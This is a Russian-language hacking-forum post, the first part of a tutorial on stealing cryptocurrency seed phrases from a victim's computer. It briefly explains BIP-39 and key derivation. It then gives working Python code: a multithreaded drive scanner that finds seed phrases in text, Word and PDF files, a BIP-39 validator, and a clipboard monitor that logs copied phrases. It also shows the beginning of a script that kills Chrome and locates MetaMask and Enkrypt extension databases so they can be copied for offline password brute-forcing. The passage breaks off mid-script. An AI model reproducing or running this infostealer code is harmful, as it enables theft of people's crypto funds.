Загрузка...

Часть 1

Тема в разделе Тестовый раздел создана пользователем APT29388 13 июн 2025 в 08:46. 123 просмотра

  1. APT29388
    APT29388 Автор темы 13 июн 2025 в 08:46 ГУРУ ИНВАЙТА - lolz.live/threads/8567181 :admin:
    В этой статье я решил временно отложить тему фингерпринтинга и углубиться в область, связанную с криптой, а именно рассказать о seed-фразах. Это набор слов, которые работают как мастер-пароль к твоему криптокошельку, а значит, к твоим кровно заработанным (или, может, не совсем заработанным) монетам. Потому если кто-то получит seed фразу, прощай, денежки — они уйдут быстрее, чем ты успеешь моргнуть.

    Я задумал две статьи: в этой первой разберём, как искать эти фразы на компе. Покажу всё — от простого поиска в текстовых файлах до того, как ****ить пароли кошельков, чтобы вытащить зашифрованные фразы. Плюс разберём, как сгенерировать seed-фразы для ****форса. А для любителей автоматизации я объясню, как написать простую программу, которая сама сканирует комп и отправляет найденные фразы в Telegram бота.
    А во второй части расскажу, как защитить свои seed-фразы, чтобы никто не добрался до твоих денег.
    Погнали разбираться!


    Зачем нужна seed-фраза?
    Seed-фраза — это ключ к восстановлению кошелька, если ты потерял доступ. Сломался комп, украли телефон, снёс приложение — не беда. Вводишь фразу в новый кошелёк, и всё твоё добро на месте. Но есть подвох: любой, у кого есть эта фраза, может сделать то же самое. Поэтому хранить её нужно так, будто от этого зависит твоя жизнь. А вот тут начинаются проблемы, потому что люди частенько действуют бездумно.

    Что такое seed-фраза и как она устроена?
    Прежде чем рассказать, как искать seed-фразы, давай разберёмся, что они из себя представляют и как работают.

    Seed-фраза — это набор слов, обычно 12, 18 или 24, созданный по стандарту BIP-39, который используется почти во всех криптокошельках. У BIP-39 есть список из 2048 слов, и каждое слово во фразе несёт часть зашифрованной информации. Каждое слово связано с числом, а их порядок имеет ключевое значение. Например, 12 слов дают 128 бит данных плюс проверочный кусочек, чтобы убедиться, что фраза правильная. Вместе эти слова образуют код, который с помощью алгоритма PBKDF2 превращается в мастер-ключ. PBKDF2 многократно перемешивает данные, создавая надёжный ключ. Этот мастер-ключ отвечает за генерацию всех приватных ключей, которые открывают доступ к твоим биткоинам, эфиру или другим монетам.

    Как из мастер-ключа получаются ключи?
    Теперь о том, как из мастер-ключа получаются ключи для разных адресов кошелька. Тут в игру вступают стандарты BIP-32 и BIP-44. BIP-32 позволяет из одного мастер-ключа создавать целое дерево ключей. Каждый ключ в этом дереве отвечает за отдельный адрес кошелька. Это удобно: вместо хранения кучи ключей ты держишь одну seed-фразу, из которой можно восстановить всё.

    Например, путь в этом дереве может выглядеть как m/0'/0/0, где m мастер-ключ, а числа обозначают уровни: аккаунт, тип адреса и его номер:
    [IMG]
    BIP-44 делает эту систему ещё более организованной. Он задаёт чёткую структуру пути, чтобы разные кошельки работали одинаково. Путь по BIP-44 выглядит так: m/44'/0'/0'/0/0. Здесь 44' — стандарт BIP-44, 0' — тип монеты (например, биткоин), следующий 0' — номер аккаунта, который разделяет разные кошельки внутри одной seed-фразы. Например, аккаунт 0' можно использовать для сбережений, а 1' — для торговли, и у каждого будут свои адреса. Далее идёт 0 — для обычных адресов (или 1 для сдачи, куда приходят остатки от транзакций). Последнее 0 — номер конкретного адреса, который ты используешь для приёма или отправки монет. Это позволяет кошелькам вроде Trust Wallet или MetaMask генерировать новые адреса для транзакций или разделять сбережения и торговлю.


    Получение seed фразы, сохраненной на ПК
    Теперь, когда мы разобрались, как работают seed-фразы, пора поговорить о том, как их можно найти.

    Поиск seed фраз лежащих в открытом виде
    Начну с поиска seed-фраз на компьютере и покажу, как написать скрипт на Python, который будет искать фразы и выводить результаты.

    Иногда пользователи хранят свои seed-фразы в файлах прямо на ПК, а некоторые криптокошельки без установки пароля сохраняют их в открытом виде. Для поиска таких фраз я решил использовать регулярные выражения и библиотеки для работы с файлами различных форматов, чтобы охватить все возможные места хранения — такие как текстовые *********, PDF и файлы Word, где пользователи могли небрежно сохранить свои фразы.

    Python
    import re[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import concurrent.futures[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from pathlib import Path[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import docx[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import PyPDF2[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from queue import Queue[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import logging[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import psutil[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]num_threads = 8[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]seed_pattern = re.compile(r'^\b[a-z]{3,}\b(?:\s+\b[a-z]{3,}\b){11,23}\s*$', re.IGNORECASE)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]EXTENSIONS = {'.txt', '.md', '.csv', '.log', '.json', '.xml', '.docx', '.pdf'}[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]SYSTEM_IGNORE = {r'\windows', r'\system volume information'}[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]results_queue = Queue()[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def read_text_file(file_path):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return f.readlines()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except Exception as e:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] logging.debug(f"Error reading {file_path}: {e}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return [][/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def read_docx_file(file_path):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] doc = docx.Document(file_path)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return [para.text for para in doc.paragraphs][/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except Exception as e:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] logging.debug(f"Error reading {file_path}: {e}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return [][/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def read_pdf_file(file_path):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] with open(file_path, 'rb') as f:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] reader = PyPDF2.PdfReader(f)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] text = [][/SIZE][/SIZE]
    [SIZE=5][SIZE=5] for page in reader.pages:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if page_text := page.extract_text():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] text.extend(page_text.split('\n'))[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return text[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except Exception as e:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] logging.debug(f"Error reading {file_path}: {e}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return [][/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def check_file(file_path):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] ext = file_path.suffix.lower()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] lines = {[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] **{ext: read_text_file for ext in {'.txt', '.md', '.csv', '.log', '.json', '.xml'}},[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] '.docx': read_docx_file,[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] '.pdf': read_pdf_file[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] }.get(ext, lambda _: [])(file_path)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] for line in lines:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if line.strip() and (match := seed_pattern.match(line)):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] results_queue.put((file_path, match.group().strip()))[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] logging.info(f"Found seed phrase in {file_path}: {match.group().strip()}")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def is_ignored_path(path):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return any(ignore in str(path).lower() for ignore in SYSTEM_IGNORE)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def scan_directory(directory, root_dir_queue):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] for item in directory.iterdir():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if item.is_file() and item.suffix.lower() in EXTENSIONS:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] check_file(item)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] elif item.is_dir() and not is_ignored_path(item):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] root_dir_queue.put(item)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except (PermissionError, OSError) as e:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] logging.debug(f"Error accessing {directory}: {e}")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def process_root_directory(root_dir_queue):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] while True:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] root_dir = root_dir_queue.get_nowait()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] scan_directory(root_dir, root_dir_queue)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] root_dir_queue.task_done()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except Queue.Empty:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] break[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def get_all_drives():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return [Path(drive.mountpoint) for drive in psutil.disk_partitions() if drive.fstype][/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def main():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] logging.info("Starting seed phrase search...")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] root_dir_queue = Queue()[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] for drive in get_all_drives():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] users_dir = drive / "Users"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if users_dir.is_dir() and not is_ignored_path(users_dir):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] for user_dir in users_dir.iterdir():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if user_dir.is_dir() and not is_ignored_path(user_dir):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] root_dir_queue.put(user_dir)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] for item in drive.iterdir():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if item.is_dir() and item != users_dir and not is_ignored_path(item):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] root_dir_queue.put(item)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except (PermissionError, OSError) as e:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] logging.debug(f"Error accessing {drive}: {e}")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] executor.map(process_root_directory, [root_dir_queue] * num_threads)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] logging.info("Search completed. Results:")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] while not results_queue.empty():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] file_path, seed_phrase = results_queue.get()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"File: {file_path}\nSeed phrase: {seed_phrase}\n")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]if __name__ == "__main__":[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] main()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except KeyboardInterrupt:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] logging.info("Search interrupted by user.")


    Проверяем работу:
    [IMG]

    Сначала мой код определяет наличие всех доступных дисков, чтобы охватить все возможные места хранения. Потом собирает список папок для проверки — вроде пользовательских директорий (\Users на Windows) и других папок верхнего уровня, но системные, вроде \Windows или \System Volume Information, пропускает, чтобы не тратить время. Для каждой папки код проверяет файлы с расширениями .txt, .md, .csv, .log, .json, .xml, .docx и .pdf, так как именно в таких файлах пользователи чаще всего могут сохранять seed-фразы.
    Когда находит нужный файл, код читает его: текстовые файлы — построчно, с учётом проблем с кодировкой, .docx разбирает на абзацы, PDF-ки листает по страницам разбивая текст на строки.
    Далее скрипт анализирует каждую строку в файлах, используя для этого регулярное выражение. Это регулярное выражение специально разработано для поиска seed-фраз формата BIP-39. Такие фразы обычно состоят из 12-24 слов, разделённых пробелами, причём каждое слово представляет собой последовательность букв.
    Когда скрипт находит строку, которая соответствует этому паттерну, он сразу же сохраняет её. В результаты попадает как сама потенциальная seed-фраза, так и полный путь к файлу, откуда она была извлечена. Все эти действия фиксируются в логе, что позволяет отслеживать процесс и видеть, какие строки были распознаны. Использование регулярных выражений довольно эффективно. Оно позволяет достаточно точно отсеивать большую часть обычного текста, сосредоточившись на поиске именно того формата данных, который характерен для seed-фраз. Конечно, даже с таким методом иногда возникают нюансы. Например, регулярное выражение может обнаружить последовательность слов, которая по формату совпадает с seed-фразой, но на самом деле таковой не является.

    Именно поэтому я рекомендую после получения результатов обязательно сверять найденные фразы со словарём BIP-39 уже на своём компьютере. Изначально я рассматривал вариант использования словаря на целевом компьютере, но быстро понял, что это нецелесообразно и может быть рискованно.
    Чтобы код работал быстрее, он использует восемь потоков (число задано в переменной num_threads, его можно изменить). Потоки одновременно проверяют seed-фразы в папках, обрабатывая их по очереди. Если находится новая папка, она добавляется в очередь для проверки. Если возникает ошибка, например "нет доступа", код записывает её в лог для отладки и продолжает работу. По завершению работы код выдаёт все найденные seed-фразы с указанием файлов.

    В качестве бонуса я решил написать небольшой Python-скрипт, который просеивает найденные seed-фразы, проверяя, соответствуют ли они словарю BIP-39, и выводит только валидные.
    Вот сам код:
    Python
    import re[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def load_bip39_words():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] with open('bip-0039_english.txt', 'r', encoding='utf-8') as file:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return {word.strip().lower() for word in file if word.strip()}[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def is_valid_bip39_phrase(phrase, bip39_words):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] words = phrase.split()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return len(words) in {12, 18, 24} and all(word.lower() in bip39_words for word in words)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def read_seed_phrases():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] bip39_words = load_bip39_words()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] valid_phrases = [][/SIZE][/SIZE]
    [SIZE=5][SIZE=5] [/SIZE][/SIZE]
    [SIZE=5][SIZE=5] with open('seeds.txt', 'r', encoding='utf-8') as file:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] content = file.read()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] matches = re.finditer(r'Seed phrase: (.*?)(?=\n\n|$)', content, re.DOTALL)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] [/SIZE][/SIZE]
    [SIZE=5][SIZE=5] for match in matches:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] phrase = match.group(1).strip()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if is_valid_bip39_phrase(phrase, bip39_words):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] valid_phrases.append(phrase)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] [/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return valid_phrases[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def main():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] valid_phrases = read_seed_phrases()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if valid_phrases:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print("Валидные фразы, соответствующие словарю BIP-39:")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] for phrase in valid_phrases:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(phrase)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] else:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print("Валидных фраз не найдено.")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]if __name__ == "__main__":[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] main()


    Скрипт начинается с функции load_bip39_words, которая открывает файл bip-0039_english.txt и загружает список из 2048 слов BIP-39 в множество для быстрого поиска. Каждое слово приводится к нижнему регистру, чтобы избежать проблем с регистром. Затем функция is_valid_bip39_phrase проверяет фразу: она смотрит, состоит ли фраза из 12, 18 или 24 слов (стандартные длины для BIP-39) и есть ли каждое слово в загруженном словаре. Если хоть одно слово не из списка или длина не та, фраза считается невалидной.
    Основная логика лежит в read_seed_phrases. Эта функция читает файл seeds.txt, где хранятся найденные фразы, и использует регулярное выражение, чтобы вытащить строки, идущие после “Seed phrase:” до двойного переноса строки или конца файла. Для каждого совпадения она проверяет фразу на соответствие BIP-39, и, если всё ок, добавляет её в список валидных фраз. Потом, если валидные фразы нашлись, Скрипт выводит их на экран. Если же список пуст, Скрипт честно сообщает, что ничего подходящего нет.

    Отслеживание seed фраз в буфере
    Помимо очевидного способа искать seed-фразы по файлам на компе, можно замахнуться на кое-что поинтереснее — а именно проверять буфер обмена. Люди частенько копируют свои фразы, чтобы вставить их в кошелёк или перекинуть куда-то ещё, и это открывает возможность поймать фразу прямо на лету.

    Я написал простенький скрипт на Python, который следит за буфером и ловит seed-фразы, как только они там появляются:
    Python
    import re[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import pyperclip[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import time[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import logging[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from datetime import datetime[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]logging.basicConfig([/SIZE][/SIZE]
    [SIZE=5][SIZE=5] filename="seed_phrases.log",[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] level=logging.INFO,[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] format="%(asctime)s - %(message)s"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5])[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]seed_pattern = re.compile(r'^\b[a-z]{3,}\b(?:\s+\b[a-z]{3,}\b){11,23}\s*$', re.IGNORECASE)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def check_clipboard():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] clipboard_content = pyperclip.paste()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] [/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if clipboard_content and seed_pattern.match(clipboard_content):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] message = f"Found seed phrase: {clipboard_content}"[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(message)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] logging.info(message)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] except Exception as e:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] logging.error(f"Error: {e}")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def main():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print("Clipboard monitoring has been started. Press Ctrl+C to stop.")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] last_content = ""[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] [/SIZE][/SIZE]
    [SIZE=5][SIZE=5] while True:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] current_content = pyperclip.paste()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if current_content != last_content:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] check_clipboard()[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] last_content = current_content[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] time.sleep(1)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except KeyboardInterrupt:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print("\nMonitoring has been stopped.")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] break[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except Exception as e:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] logging.error(f"Error in loop: {e}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] time.sleep(1)[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]if __name__ == "__main__":[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] main()


    Проверяем:
    [IMG]

    Мой код использует библиотеку pyperclip, чтобы каждую секунду заглядывать в буфер обмена. Как только там оказывается текст, скрипт проверяет его с помощью регулярного выражения, которое ищет цепочку из 12–24 слов, состоящих только из букв и разделённых пробелами. Если фраза найдена, скрипт тут же выводит её в консоль, записывает в лог с временной меткой. лог пишется в файл seed_phrases.log, так что всё, что найдено, сохраняется (на практике можно к примеру отправлять найденные фразы на сервер). Чтобы не грузить систему, скрипт сравнивает текущее содержимое буфера с предыдущим — если ничего не изменилось, он не тратит силы на повторную проверку.


    Поиск seed фразы в крипто кошельках
    Я уже рассказал, как искать seed фразы в файлах на компе или из буфера обмена, когда пользователь копирует их. Но давай начистоту: в большинстве случаев никто не хранит эти фразы в файле на рабочем столе с названием "мои_биточки.txt". Чаще всего seed-фраза находиться внутри криптокошелька, надёжно (или не совсем надёжно) зашифрованная. И вот тут начинается самое интересное — как добраться до этого ключа, который открывает доступ к чужим (или твоим, если ты забыл пароль) монетам?

    В кошельках вроде MetaMask, Trust Wallet или Electrum эти фразы обычно хранятся в зашифрованном виде, спрятанные за паролем или пин-кодом. Но шифрование — это не всегда очень критично, особенно если пользователь ленится придумывать нормальный пароль или кошелёк имеет свои уязвимости. Cейчас я разберу, как работают самые популярные плагины криптокошельки для ПК, где они прячут seed-фразы и как можно попытаться их вытащить — от ****форса паролей до анализа файлов данных кошелька.


    Крипто кошельки – в виде расширений для браузеров
    Для начала разберёмся, как искать криптокошельки в Google Chrome — самом популярном браузере. Я буду рассматривать только Chrome, так как в других браузерах процесс сложнее. В качестве примера возьмём популярный кошелёк MetaMask и менее известный Enkrypt.

    Поиск и перенос плагинов кошельков
    Chrome хранит данные расширений — пароли, куки, настройки — в локальной базе данных, которая обычно зашифрована. Без ключа расшифровки к этим данным не подобраться. Однако на первом этапе нам не нужно влезать в шифрование: достаточно проверить, установлен ли нужный плагин. Это можно сделать через уникальный ID расширения, который Chrome присваивает каждому плагину.

    Например, ID MetaMask — nkbihfbeogaeaoehlefnkodbefgpgknn, а Enkrypt (поддерживает ETH, BTC, Solana) — kkpllkodjeloidieedojogacfhpaihoh. Чтобы узнать, установлен ли плагин, заглянем в папку C:\Users\<Имя_пользователя>\AppData\Local\Google\Chrome\User Data\Default\Extensions. Если там есть папка с соответствующим ID, кошелёк установлен.

    Но есть небольшая проблема: иногда ID плагина может измениться, например, если плагин установлен в режиме разработчика или при нестандартных настройках Chrome. В таком случае поиск по фиксированному ID ненадёжен. Решение — обойти все папки в C:\Users\<Имя_пользователя>\AppData\Local\Google\Chrome\User Data\Default\Extensions, проверяя manifest.json на наличие ключевых слов, таких как "MetaMask" или "Enkrypt". В этом JSON-файле в полях name или description обычно указаны названия, например, "MetaMask" или "Enkrypt: ETH, BTC and Solana Wallet". Это более надёжный способ, так как название плагина редко меняется, в отличие от ID. Также можно проверять поле permissions, где могут быть указаны характерные для кошельков запросы, такие как доступ к storage или webRequest.

    Но вот мы и наши кошелек, а что дальше? Как извлечь или перенести данные?
    Данные кошельков хранятся в базе LevelDB, файлах с расширением .ldb.
    LevelDB — это библиотека от Google, созданная для хранения больших объёмов данных с высокой скоростью чтения и записи. Она работает так: данные сначала пишутся в журнал (.log), а потом компактируются в отсортированные таблицы (.ldb), которые хранят пары ключ-значение в виде байтовых массивов. Эти таблицы разбиты на уровни, что ускоряет поиск и минимизирует фрагментацию на диске. LevelDB не поддерживает сложные запросы, как SQL, но для кошельков это и не нужно — там хранятся зашифрованные seed-фразы, приватные ключи и настройки.

    Прочитать данные из LevelDB напрямую — задача нетривиальная, ну точнее прочитать можно, и там даже могут быть какие-то незашифрованные данные, но все важные поля вроде seed-фразы зашифрованы. Они зашифрованы с использованием алгоритмов, специфичных для каждого кошелька, и ключ шифрования обычно связан с паролем пользователя. Честно говоря, расшифровать seed-фразу — это та ещё головная боль, и тут я, увы, не помощник. Но есть интересный способ обойти это, если цель — просто перенести кошелёк на другой компьютер и там сбрутить его.

    Лайфхак в том, что можно скопировать файлы LevelDB и перенести их на другой ПК. И, как ни странно, это работает!

    Для Enkrypt база данных лежит в C:\Users\<Имя_пользователя>\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_kkpllkodjeloidieedojogacfhpaihoh_0.indexeddb.leveldb.

    Для Metamask данные находятся в C:\Users\<Имя_пользователя>\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn.

    В этих папках лежат файлы .ldb, .log и иногда манифесты, которые содержат всю информацию о кошельке. Я сам был удивлён, когда скопировал эти файлы на другой компьютер, установил Chrome с тем же плагином, заменил файлы в нужной папке, и кошелёк импортировался. Но есть подвох: кошелёк всё равно запросит пароль, без которого доступ к средствам невозможен. Если пароля нет, придётся его подбирать, но это уже другая история, связанная с ****форсом.

    Бьюсь об заклад, любой мой читатель, который хоть раз работал с Chrome, пытаясь расшифровать пароли или провернуть другие тёмные делишки, сейчас сидит и думает: «Погоди-ка, а почему это вообще работает? Chrome же обычно привязывает всё к аккаунту или даже к конкретному компу»

    А всё просто, LevelDB, который Chrome использует для хранения данных расширений, — это просто кучка файлов, которые не привязаны к твоему железу. Chrome использует их как хранилище для расширений, и если структура папок совпадает, плагин воспринимает данные как свои. Но есть риски: несовместимость версий Chrome или плагина может сломать всё, так что будьте осторожны.

    Скрипт для автоматизации поиска и переноса плагинов
    Чтобы автоматизировать процесс поиска и копирования плагинов, я написал Python-скрипт, который ищет плагины кошельков по их ID, находит их базы данных и добавляет всё в архив.

    Вот код:
    Python
    import os[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import shutil[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import zipfile[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import getpass[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import json[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]from datetime import datetime[/SIZE][/SIZE]
    [SIZE=5][SIZE=5]import subprocess[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def kill_chrome_processes():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] subprocess.run(["taskkill", "/F", "/IM", "chrome.exe"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print("Chrome processes terminated.")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except Exception as e:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Failed to kill Chrome processes: {e}")[/SIZE][/SIZE]

    [SIZE=5][SIZE=5]def locate_extension_by_keyword(keyword, base_path):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] for extension_id in os.listdir(base_path):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] path_to_extension = os.path.join(base_path, extension_id)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if not os.path.isdir(path_to_extension):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] continue[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] for version in os.listdir(path_to_extension):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] manifest_file = os.path.join(path_to_extension, version, "manifest.json")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if not os.path.isfile(manifest_file):[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] continue[/SIZE][/SIZE]

    [SIZE=5][SIZE=5] try:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] with open(manifest_file, "r", encoding="utf-8") as mf:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] content = json.load(mf)[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] if keyword.lower() in json.dumps(content).lower():[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Match for '{keyword}' found in ID: {extension_id}")[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] return extension_id[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] except Exception as err:[/SIZE][/SIZE]
    [SIZE=5][SIZE=5] print(f"Couldn't read {manifest_file}: {err}")[/SIZE][/SIZE]
